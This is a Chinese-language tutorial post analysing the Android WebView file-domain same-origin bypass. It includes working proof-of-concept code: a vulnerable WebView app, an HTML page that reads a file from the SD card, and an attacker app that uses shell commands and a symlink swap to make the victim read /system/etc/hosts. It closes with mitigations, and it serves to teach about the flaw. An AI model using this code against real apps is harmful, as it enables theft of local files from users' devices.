zoukankan      html  css  js  c++  java
  • Android WebView File域同源策略绕过漏洞浅析

       0x00

        我们首先讲一个webView这种方法的作用:

    webView.getSettings().setAllowFileAccessFromFileURLs(false);
        为了解说这种方法,我们还是看一个实际的样例。代码地址还是參考https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo

        代码例如以下。和Android WebView远程代码执行漏洞简析一文中的代码主要差别在于这次载入的attack_file.html

    public class MainActivity extends Activity {
    	private WebView webView;
    	private Uri mUri;
    	private String url;
    	String mUrl1 = "file:///android_asset/html/attack_file.html";
    	//String mUrl2 = "file:///android_asset/html/test.html";
    
    	@Override
    	protected void onCreate(Bundle savedInstanceState) {
    		super.onCreate(savedInstanceState);
    		setContentView(R.layout.activity_main);
    		webView = (WebView) findViewById(R.id.webview);
    		webView.getSettings().setJavaScriptEnabled(true);
    		webView.addJavascriptInterface(new JSInterface(), "jsInterface");
    		webView.getSettings().setAllowFileAccessFromFileURLs(true);
    		webView.setWebChromeClient(new WebChromeClient() {
    			@Override
    			    public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
    			    //Required functionality here
    			    return super.onJsAlert(view, url, message, result);
    			}
    		});
    		webView.loadUrl(mUrl1);
    	}
    	
    	
        class JSInterface {
            public String onButtonClick(String text) {
                final String str = text;
                runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        Log.e("leehong2", "onButtonClick: text = " + str);
                        Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
                    }
                });
                
                return "This text is returned from Java layer.  js text = " + text;
            }
            
            public void onImageClick(String url, int width, int height) {
                final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;
                Log.i("leehong2", str);
                runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
                    }
                });
            }
        }
    
    }
       这里webView.getSettings().setAllowFileAccessFromFileURLs(true)。标示能够通过javaScript訪问file文件。

       我们再来看attack_file.html的代码:

    <html>
    <body>
    <script>
    function stealFile()
    {
    	var file = "file:///mnt/sdcard/11.txt";
    	var xmlHttpReq = new XMLHttpRequest();
    	xmlHttpReq.onreadystatechange = function(){
    		if(xmlHttpReq.readyState == 4){
    			alert(xmlHttpReq.responseText);
    		}
    	}
    
    xmlHttpReq.open("GET", file);
    xmlHttpReq.send(null);
    }
    stealFile();
    </script>
    </body>
    </html>
        因为setAllowFileAccessFromFileURLs为true,所以webView.load这个html能够返回/mnt/sdcard/11.txt的值。

        假设setAllowFileAccessFromFileURLs为false。webView.load这个html不能够返回/mnt/sdcard/11.txt的值。


       0x01

        即使setAllowFileAccessFromFileURLs为false,我们通过一种方式也能够跨过这个限制,那就是Android WebView File域同源策略绕过漏洞浅析。请參考WebView File域同源策略绕过漏洞浅析

        參考的文章并没有给出能够执行的project,这里给出,下面的解说都来源于这两个project:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo1https://github.com/jltxgcy/AppVulnerability/tree/master/AttackWebView

        首先执行WebViewFileDemo1,然后再执行AttackWebView来突击WebView。

       


        我们首先看WebViewFileDemo1,主要代码例如以下:

    package com.example.webviewfiledemo;
    
    import android.app.Activity;
    import android.content.Intent;
    import android.net.Uri;
    import android.os.Bundle;
    import android.util.Log;
    import android.webkit.JsResult;
    import android.webkit.WebChromeClient;
    import android.webkit.WebView;
    import android.widget.Toast;
    
    public class MainActivity extends Activity {
    	private WebView webView;
    	private Uri mUri;
    	private String url;
    
    	@Override
    	protected void onCreate(Bundle savedInstanceState) {
    		super.onCreate(savedInstanceState);
    		setContentView(R.layout.activity_main);
    		webView = (WebView) findViewById(R.id.webview);
    		webView.getSettings().setJavaScriptEnabled(true);
    		webView.addJavascriptInterface(new JSInterface(), "jsInterface");
    		webView.getSettings().setAllowFileAccessFromFileURLs(false);
    		//webView.getSettings().setAllowFileAccess(false);
    		webView.setWebChromeClient(new WebChromeClient() {
    			@Override
    			    public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
    			    //Required functionality here
    			    return super.onJsAlert(view, url, message, result);
    			}
    		});
    		
    		Intent i = getIntent();
    		if (i != null) {
    			mUri = i.getData();
    		}
    		if (mUri != null) {
    			url = mUri.toString();
    		}
    		if (url != null) {
    			webView.loadUrl(url);
    		}
    	}
    
    }

        这个Activity接收来自外部的Intent。提取Intent里面的url并载入。


        接着我们来看AttackWebViewproject,这里就是向com.example.webviewfiledemo.MainActivity发送Intent的project。

    代码例如以下:

    public class MainActivity extends Activity {
    	public final static String HTML = 
    			"<body>" +
    		    "<u>Wait a few seconds.</u>" + 
    		    "<script>" +
    		    "var d = document;"+
    		    "function doitjs(){"+
    		    "var xhr = new XMLHttpRequest;"+
    		    "xhr.onload = function(){"+
    		    "var txt = xhr.responseText;"+
    		    "d.body.appendChild(d.createTextNode(txt));"+
    		    "alert(txt);"+"};"+
    		    "xhr.open('GET',d.URL);"+
    		    "xhr.send(null);"+
    		    "}"+
    		    "setTimeout(doitjs,8000);"+
    		    "</script>"+
    		    "</body>";
    	
    	public static String MY_TMP_DIR;
    
    	@Override
    	protected void onCreate(Bundle savedInstanceState) {
    		super.onCreate(savedInstanceState);
    		setContentView(R.layout.activity_main);
    		MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();
    		doit();
    	}
    	
    	public void doit() {
    		String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";
    		try {
    			cmdexec("mkdir " + MY_TMP_DIR);
    			cmdexec("echo "" + HTML + "" > " + HTML_PATH);
    			cmdexec("chmod -R 777 " + MY_TMP_DIR);
    			Thread.sleep(1000);
    			invokeVulnAPP("file://" + HTML_PATH);
    			Thread.sleep(6000);
    			cmdexec("rm " + HTML_PATH);
    			cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
    		} catch (Exception e) {
    			// TODO: handle exception
    		}
    
    	}
    
    	public void invokeVulnAPP(String url) {
    		try {
    			Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));
    			intent.addCategory(Intent.CATEGORY_LAUNCHER); 
    			intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");
    			startActivity(intent);
    		} catch (Exception e) {
    			// TODO: handle exception
    		}
    	}
    
    	public void cmdexec(String cmd) {
    		try {
    			String[] tmp = new String[] { "/system/bin/sh", "-c", cmd };
    			Runtime.getRuntime().exec(tmp);
    		} catch (Exception e) {
    			// TODO: handle exception
    		}
    	}
    	
    }
       通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。

    这个Activity提取了Url。Url为/sdcard/payload_odex/A0.html。webView载入了这个html,html内容例如以下:

    	public final static String HTML = 
    			"<body>" +
    		    "<u>Wait a few seconds.</u>" + 
    		    "<script>" +
    		    "var d = document;"+
    		    "function doitjs(){"+
    		    "var xhr = new XMLHttpRequest;"+
    		    "xhr.onload = function(){"+
    		    "var txt = xhr.responseText;"+
    		    "d.body.appendChild(d.createTextNode(txt));"+
    		    "alert(txt);"+"};"+
    		    "xhr.open('GET',d.URL);"+
    		    "xhr.send(null);"+
    		    "}"+
    		    "setTimeout(doitjs,8000);"+
    		    "</script>"+
    		    "</body>";
        当WebViewFileDemo1project中webView载入A0.html后,这个html的作用是延迟8秒读取A0.html本身。我们再回到AttackWebViewproject。往下看代码。
    cmdexec("mkdir " + MY_TMP_DIR);
    			cmdexec("echo "" + HTML + "" > " + HTML_PATH);
    			cmdexec("chmod -R 777 " + MY_TMP_DIR);
    			Thread.sleep(1000);
    			invokeVulnAPP("file://" + HTML_PATH);
    			Thread.sleep(6000);
    			cmdexec("rm " + HTML_PATH);
    			cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
       调用完invokeVulnAPP后。6秒后,我们首先把A0.html删除,然后再又一次软连接到/system/etc/hosts。

    注意此时WebViewFileDemo1project中webView载入A0.html。这个html的作用是延迟8秒读取A0.html本身。所以8秒后读取的是软连接/system/etc/hosts。

       结果例如以下:



       0x02

        怎样避免这样的情况的发生呢?

        1、webView.getSettings. setAllowFileAccess(false);

        假设在WebViewFileDemo1project中com.example.webviewfiledemo.MainActivity的onCreate方法中假设加上了上面的代码,那么执行的结果例如以下:


      

        2、webView.getSettings. setJavaScriptEnabled(false);

  • 相关阅读:
    多线程之生产者和消费者模式
    python多线程之线程同步--锁
    python多线程之动态确定线程数
    python多线程之循环,调用函数等
    V8 引擎是如何工作的?
    AST抽象语法树——最基础的javascript重点知识,99%的人根本不了解
    字节码
    V8 引擎是如何工作的?
    JavaScript arguments对象
    V8 是怎么跑起来的 —— V8 中的对象表示
  • 原文地址:https://www.cnblogs.com/zhchoutai/p/8796908.html
Copyright © 2011-2022 走看看